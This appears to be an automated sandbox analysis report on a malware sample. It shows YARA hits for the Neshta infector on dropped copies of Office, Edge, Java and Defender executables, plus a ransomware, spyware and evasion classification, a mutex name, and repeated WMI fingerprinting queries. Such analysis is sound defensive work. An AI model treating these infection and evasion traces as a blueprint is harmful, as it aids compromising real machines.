Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta

Source: MpCmdRun.exe0.0.dr

Binary string: IdImageFileNameFirst Resource TypeTypeScan SourceFirst Resource PathEngineIdResource CountReasonProcessMessagePIDStartStopDataIsSignedFile\Device\\\?\\FI_UNKNOWN\drivers\error: invalid data: System Windows path changed during the trace from "%ls" to "%ls"

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@19/269@4/4

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

File created: C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1084:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1480:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_6SI8OkPnk

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

File created: C:\Users\user\AppData\Local\Temp\3582-490

Jump to behavior

Source: LisectAVT_2403002B_4.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.29%

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: integrator.exe.0.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: integrator.exe.0.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: integrator.exe.0.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
